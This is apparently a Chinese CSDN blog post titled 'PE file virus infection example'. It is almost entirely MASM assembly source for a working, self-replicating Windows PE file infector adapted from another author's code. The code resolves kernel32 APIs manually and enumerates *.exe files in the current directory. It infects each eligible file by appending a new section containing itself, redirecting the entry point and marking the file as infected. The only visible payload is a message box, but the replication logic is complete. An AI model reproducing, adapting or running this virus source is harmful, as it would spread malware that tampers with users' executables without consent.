关闭

PE文件病毒感染示例

标签: headerincludeapiimagefilebyte
2703人阅读 评论(3) 收藏 举报

;本程序修改自hume的代码,其版权信息如下:

CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
                      db "        Thx for using it!",0dh,0ah
                      db "Contact: Humewen@21cn.com",0dh,0ah
                      db "        humeasm.yeah.net",0dh,0ah
                      db "The add Code SiZe:(heX)"

 

 

;------------------------------------------------------------------------------------------------------------------------

;main.asm代码

;-----------------------------------------------------------------------------------------------------------------------

.586 
.model flat, stdcall 
option casemap :none  ; case sensitive 
include windows.inc
include user32.inc
include comctl32.inc 
includelib comctl32.lib
includelib user32.lib
;;-------------- 

GetApiA        proto    :DWORD,:DWORD 

;;-------------- 
  .CODE 
  _Start0:
  invoke InitCommonControls
  jmp __Start
VirusLen        =  vEnd-vBegin                ;Virus 长度 
vBegin: 
;----------------------------------------- 
include s_api.asm                ;查找需要的api地址 
;----------------------------------------- 

fsize          dd ? 
hfile          dd ? 
hMap            dd ? 
pMem            dd ? 
;----------------------------------------- 
pe_Header      dd ? 
sec_align      dd ? 
file_align      dd ? 
newEip          dd ? 
oldEip          dd ? 
oldEipTemp      dd ?
inc_size        dd ? 
oldEnd          dd ?


hFind           dd ?
sFindData       WIN32_FIND_DATA <?>
 
readSize        dd 0
readBuff        db 10 dup(0)
;-----------------------------------------
sFindStr        db "*.exe",0

sMessageBoxA                            db "MessageBoxA",0 

aMessageBoxA                    dd 0 

;;临时变量... 
sztit                   db "病毒演示",0
szMsg                   db "感染此病毒的程序会显示该信息",0dh,0ah 
                        db "同时具有再感染其它程序的功能",0dh,0ah
                        db "病毒代码长度:(HEX)"
val                     dd 0,0,0,0 
;;----------------------------------------- 

__Start:
      call    _gd 
_gd:   
      pop    ebp                            ;得到delta地址 
      sub    ebp,offset _gd                 ;因为在其他程序中基址可能不是默认的所以需要重定位 
      mov    dword ptr [ebp+appBase],ebp    ;呵呵仔细想想 
     
  mov    eax,[esp]                          ;返回地址 
      xor    edx,edx 
getK32Base: 
      dec    eax                            ;逐字节比较验证 
      mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch
      test    dx,0f000h                      ;Dos Header+stub不可能太大,超过4096byte 
      jnz    getK32Base                      ;加速检验 
      cmp    eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase] 
      jnz    getK32Base                      ;看Image_Base值是否等于ecx即模块起始值, 
      mov    [ebp+k32Base],eax              ;如果是,就认为找到kernel32的Base值 
             lea    edi,[ebp+aGetModuleHandle] 
      lea    esi,[ebp+lpApiAddrs] 
lop_get: 
      lodsd 
      cmp    eax,0 
      jz      End_Get 
      add    eax,ebp 
      push    eax 
      push    dword ptr [ebp+k32Base] 
      call    GetApiA                         
      stosd 
      jmp    lop_get                          ;获得api地址,参见s_api文件                       
End_Get:  
      include dislen.asm
find_start:
      lea    eax,[ebp+sFindData]
      push   eax
      lea    eax,[ebp+sFindStr]
      push   eax
      call   [ebp+aFindFirstFile]
      mov    [ebp+hFind],eax
      cmp    eax,INVALID_HANDLE_VALUE
      je     find_exit
find_next:
     
      call    my_infect
      lea    eax,[ebp+sFindData]
      push   eax
      push   [ebp+hFind]
      call   [ebp+aFindNextFile]
      cmp    eax,0
      jne    find_next
      ;-----------------------------------------
find_exit:
       push  [ebp+hFind]
       call  [ebp+aFindClose]
__where:                                         
      xor    eax,eax            
      push    eax 
      call    [ebp+aGetModuleHandle] 
      mov    esi,eax
      cmp    dword ptr [esi+80],'jzit'   ;判断是否是已经附加,标志'jzit' 
      je      jmp_oep 
      jmp    __xit                  ;退出启动程序

jmp_oep:
      add    eax,[ebp+oldEip]         
      jmp    eax                    ;跳到宿主程序的入口点 

my_infect:                              ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件 
      xor    eax,eax 
      push    eax 
      push    eax 
      push    OPEN_EXISTING 
      push    eax 
      push    eax 
      push    GENERIC_READ+GENERIC_WRITE
      lea    eax,[ebp+sFindData.cFileName]
      push    eax
      call    [ebp+aCreateFile]                    ;打开目标文件 
      inc    eax 
      je      __Err 
      dec    eax           
      mov    [ebp+hfile],eax
     
      mov    eax,[ebp+hfile]    
      push   FILE_BEGIN
      push   0
      push   80
      push   eax
      call   [ebp+aSetFilePointer]

      mov    eax,[ebp+hfile]
      push   0
      lea    ebx,[readSize+ebp]
      push   ebx
      push   4
      lea    ebx,[readBuff+ebp]
      push   ebx
      push   eax
      call  [ebp+aReadFile]
      cmp  eax,0
      je    __sclosefile    
      cmp   dword ptr[ebp+readBuff],'jzit'
      je    __sclosefile

      mov    eax,[ebp+hfile]
      sub    ebx,ebx 
      push    ebx 
      push    eax                    ;得到文件大小 
      call    [ebp+aGetFileSize] 
      inc    eax 
      je      __sclosefile 
      dec    eax
      cmp    eax,10240
      jb     __sclosefile 
      mov    [ebp+fsize],eax

      lea    ecx,[eax+1000h]       ;文件大小增加...4096
      mov    eax,[ebp+hfile]                                   
      xor    ebx,ebx                              ;创建映射文件 
      push    ebx 
      push    ecx            ;文件大小等于原大小+Vsize 
      push    ebx             
      push    PAGE_READWRITE 
      push    ebx 
      push    eax 
      call    [ebp+aCreateFileMapping] 
      test    eax,eax 
      je      __sclosefile 
      mov    [ebp+hMap],eax                      ;创建成功否? 
      xor    ebx,ebx 
      push    ebx 
      push    ebx 
      push    ebx 
      push    FILE_MAP_WRITE     
      push    eax 
      call    [ebp+aMapViewOfFile] 
      test    eax,eax 
      je      __sclosemap                          ; 映射文件,是否成功? 
      mov    [ebp+pMem],eax 
      ;-------------------------------------------- 
      ; the following is modifying part,add new section 
      ;-------------------------------------------- 
      include modipe.asm 
 
CouldNotInfect: 
__sunview: 
      push    [ebp+pMem] 
      call    [ebp+aUnmapViewOfFile] 
__sclosemap: 
      push    [ebp+hMap] 
      call    [ebp+aCloseHandle] 
__sclosefile: 
      push    [ebp+hfile] 
      call    [ebp+aCloseHandle] 
__Err:: 
      ret 
     
;----------------------------------------- 
__xit:
      push    0 
      call    [ebp+aExitProcess]
       
vEnd:
;----------------------------------------- 

END    __Start 
;;============================================== 
;s_api.asm

;=================================================

;;s_api.asm 
;;手动查找api部分 

K32_api_retrieve        proc    Base:DWORD ,sApi:DWORD 

      push    edx                    ;保存edx     
      xor    eax,eax                ;此时esi=sApi 
Next_Api:                              ;edi=AddressOfNames 
      mov    esi,sApi 
      xor    edx,edx 
      dec    edx 
Match_Api_name: 
      movzx  ebx,byte  ptr [esi] 
      inc    esi 
      cmp    ebx,0 
      je      foundit 
      inc    edx 
      push    eax 
      mov    eax,[edi+eax*4]        ;AddressOfNames的指针,递增 
      add    eax,Base                ;注意是RVA,一定要加Base值 
      cmp    bl,byte  ptr [eax+edx]  ;逐字符比较   
      pop    eax 
      je      Match_Api_name          ;继续搜寻 
      inc    eax                    ;不匹配,下一个api 
      loop    Next_Api 
no_exist: 
      pop    edx                    ;若全部搜完,即未存在 
      xor    eax,eax 
      ret 
                               
foundit: 
      pop    edx                    ;edx=AddressOfNameOrdinals 
                                ;*2得到AddressOfNameOrdinals的指针 
      movzx  eax,word  ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针 
      ret 
K32_api_retrieve        endp 
;----------------------------------------- 

GetApiA        proc    Base:DWORD,sApi:DWORD 
      local    ADDRofFun:DWORD 
      pushad 
      mov    esi,Base 
      mov    eax,esi 
      mov    ebx,eax 
      mov    ecx,eax 
      mov    edx,eax 
      mov    edi,eax                            ;all is Base! 
      add    ecx,[ecx+3ch]                      ;现在esi=off PE_HEADER                                                        
      add    esi,[ecx+78h]                      ;得到esi=IMAGE_EXPORT_DIRECTORY入口 
      add    eax,[esi+1ch]                  ;eax=AddressOfFunctions的地址 
      mov    ADDRofFun,eax
      mov    ecx,[esi+18h]                  ;ecx=NumberOfNames 
      add    edx,[esi+24h]                  ;edx=AddressOfNameOrdinals 
      add    edi,[esi+20h]                  ;esi=AddressOfNames 
      invoke    K32_api_retrieve,Base,sApi 
      mov    ebx,ADDRofFun 
      mov    eax,[ebx+eax*4]                ;要*4才得到偏移 

      add    eax,Base                        ;加上Base! 
      mov    [esp+7*4],eax                  ;eax返回api地址 
      popad 
      ret 
GetApiA        endp 

u32                    db "User32.dll",0 
k32                    db "Kernel32.dll",0 

appBase        dd ? 
k32Base        dd ? 
;-----------------------------------------apis needed 

lpApiAddrs      label  near 
              dd      offset sGetModuleHandle 
              dd      offset sGetProcAddress 
              dd      offset sLoadLibrary 
              dd      offset sCreateFile 
              dd      offset sCreateFileMapping 
              dd      offset sMapViewOfFile 
              dd      offset sUnmapViewOfFile 
              dd      offset sCloseHandle 
              dd      offset sGetFileSize
              dd      offset sSetFilePointer  
              dd      offset sSetEndOfFile 
              dd      offset sReadFile
              dd      offset sFindFirstFile
              dd      offset sFindNextFile
              dd      offset sFindClose
             
              dd      offset sExitProcess 
               
              dd      0,0 
               

sGetModuleHandle        db "GetModuleHandleA",0 
sGetProcAddress        db "GetProcAddress",0 
sLoadLibrary            db "LoadLibraryA",0 
sCreateFile            db "CreateFileA",0 
sCreateFileMapping      db "CreateFileMappingA",0 
sMapViewOfFile          db "MapViewOfFile",0 
sUnmapViewOfFile        db "UnmapViewOfFile",0 
sCloseHandle            db "CloseHandle",0 
sGetFileSize            db "GetFileSize",0 
sSetFilePointer        db "SetFilePointer",0 
sSetEndOfFile          db "SetEndOfFile",0 
sReadFile              db "ReadFile",0
sFindFirstFile         db "FindFirstFileA",0
sFindNextFile          db "FindNextFileA",0
sFindClose             db "FindClose",0

sExitProcess            db "ExitProcess",0 


 
aGetModuleHandle                dd 0 
aGetProcAddress                dd 0 
aLoadLibrary                    dd 0 
aCreateFile                    dd 0 
aCreateFileMapping              dd 0 
aMapViewOfFile                  dd 0 
aUnmapViewOfFile                dd 0 
aCloseHandle                    dd 0 
aGetFileSize                    dd 0 
aSetFilePointer                dd 0 
aSetEndOfFile                  dd 0 
aReadFile                      dd 0
aFindFirstFile                 dd 0
aFindNextFile                   dd 0
aFindClose                      dd 0

aExitProcess                    dd 0 
;----------------------------------------- 
;dislen.asm

;===============================================

;============================disLen.asm 
    lea    eax,[ebp+u32] 
      push    eax 
      call    dword ptr [ebp+aLoadLibrary] 
      test    eax,eax 
      jnz    @g1       
@g1: 
       
      lea    EDX,[EBP+sMessageBoxA] 
      push    edx 
      push    eax 
      mov    eax,dword ptr [ebp+aGetProcAddress] 
      call    eax 
      mov    [ebp+aMessageBoxA],eax 
       

      ;----------------------------------------- 
      mov    ebx,VirusLen 
      mov    ecx,8 
      cld 
      lea    edi,[ebp+val] 
L1: 
      rol    ebx,4 
      call    binToAscii 
      loop    L1 

      push    40h+1000h 
      lea    eax,[ebp+sztit] 
      push    eax 
      lea    eax,[ebp+szMsg] 
      push    eax 
      push    0 
      call    [ebp+aMessageBoxA] 

      jmp find_start

;----------------------------------------- 

binToAscii    proc  near 
      mov    eax,ebx 
      and    eax,0fh 
      add    al,30h 
      cmp    al,39h 
  jbe    @f 
      add    al,7 
       
  @@: 
      stosb 
      ret 
binToAscii    endp

;======================================================

modipe.asm

;=========================================================

;;========================modipe.asm================= 
      ;修改pe,添加节,实现传染功能 

      xchg    eax,esi 
      cmp    word  ptr [esi],'ZM' 
      jne    CouldNotInfect
      add    esi,[esi+3ch]  ;指向PE_HEADER 
      cmp    word  ptr [esi],'EP' 
      jne    CouldNotInfect  ;是否是PE,否则不感染
      mov    [ebp+pe_Header],esi  ;保存pe_Header指针 
     
      push    40h+1000h 
      lea    eax,[ebp+sztit] 
      push    eax 
      lea    eax,[ebp+sFindData.cFileName] 
      push    eax 
      push    0 
      call    [ebp+aMessageBoxA]

      mov    ecx,[esi+74h]  ;得到directory的数目 
      imul    ecx,ecx,8 

      lea    eax,[ecx+esi+78h]  ;data directory  eax->节表起始地址 
      movzx  ecx,word  ptr [esi+6h]  ;节数目 
      imul    ecx,ecx,28h            ;得到所有节表的大小 
      add    eax,ecx                ;节结尾... 
      xchg    eax,esi                ;eax->Pe_header,esi->最后节开始偏移 

;;************************** 
;;添加如下结构: 
;;name .hum
;;VirtualSize==原size+VirSize 
;;VirtualAddress= 
;;SizeOfRawData 对齐 
;;PointerToRawData 
;;PointerToRelocations dd 0 
;;PointerToLinenumbers dd ?   
;;NumberOfRelocations dw  ?   
;;NumberOfLinenumbers dw  ? 
;;Characteristics      dd ? 
;;************************** 
      mov    dword ptr [esi],'uph.'  ;节名.hpu 
      mov    dword ptr [esi+8],VirusLen ;实际大小      
                                      ;计算VirtualSize和V.addr 
      mov    ebx,[eax+38h]          ;SectionAlignment 
      mov    [ebp+sec_align],ebx 
      mov    edi,[eax+3ch]          ;file align 
      mov    [ebp+file_align],edi        
      mov    ecx,[esi-28h+0ch]        ;上一节的V.addr
      mov    eax,[esi-28h+8]          ;上一节的实际大小
      xor    edx,edx 
      div    ebx                    ;除以节对齐 
      test    edx,edx               ;余数为零
      je     @@@1 
      inc    eax 
@@@1: 
      mul    ebx                    ;对齐后的节大小 
      add    eax,ecx                ;加上V.addr就是新节的起始V.addr 
      mov    [esi+0ch],eax          ;保存新section偏移RVA 
      add    eax,__Start-vBegin 
      mov    [ebp+newEip],eax        ;计算新的eip
      mov    dword ptr [esi+24h],0E0000020h    ;属性
      mov    eax,VirusLen            ;计算SizeOfRawData的大小 
      cdq 
      div    edi                    ;节的文件对齐 
      je      @@@2 
      inc    eax 
@@@2: 
      mul    edi 
      mov    dword ptr [esi+10h],eax ;保存节对齐文件的大小
      mov    eax,[esi-40+14h] 
      add    eax,[esi-40+10h]
      mov    [esi+14h],eax          ;PointerToRawData更新 
      mov    [ebp+oldEnd],eax      ;最后文件增加到...? 

       
      mov    eax,[ebp+pe_Header] 
      inc    word  ptr [eax+6h]      ;更新节数目 
      mov    ebx,[eax+28h]          ;eip指针偏移 
      mov    [ebp+oldEipTemp],ebx        ;保存老指针 
      mov    ebx,[ebp+newEip] 
      mov    [eax+28h],ebx          ;更新指针值 

      ;comment $ 
      mov    ebx,[eax+50h]          ;更新ImageSize 
      add    ebx,VirusLen 
      mov    ecx,[ebp+sec_align] 
      xor    edx,edx 
      xchg    eax,ebx        ;eax和ebx交换... 
      cdq 
      div    ecx 
      test    edx,edx 
      je      @@@3 
      inc    eax 
@@@3: 
      mul    ecx 
      xchg    eax,ebx        ;还原  eax->pe_Header 
      mov    [eax+50h],ebx          ;保更新后的Image_Size大小 
     
      mov eax, [ebp+pMem]
      mov    dword ptr [eax+80],'jzit'
      cld                      ;写入 
      mov    ecx,VirusLen 
      mov    edi,[ebp+oldEnd] 
      add    edi,[ebp+pMem] 
      lea    esi,[ebp+vBegin] 
      rep    movsb                  ;写入文件,all is OK! 


      push   edi
      lea    esi,[ebp+oldEipTemp]
      lea    edi,[edi+(oldEip-vEnd)]
      movsd
      pop edi


      xor    eax,eax 
      sub    edi,[ebp+pMem] 

      push    FILE_BEGIN 
      push    eax 
      push    edi 
      push    [ebp+hfile] 
      call    [ebp+aSetFilePointer] 

      push    [ebp+hfile] 
      call    [ebp+aSetEndOfFile] 
  

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:10004次
    • 积分:179
    • 等级:
    • 排名:千里之外
    • 原创:6篇
    • 转载:1篇
    • 译文:0篇
    • 评论:4条
    最新评论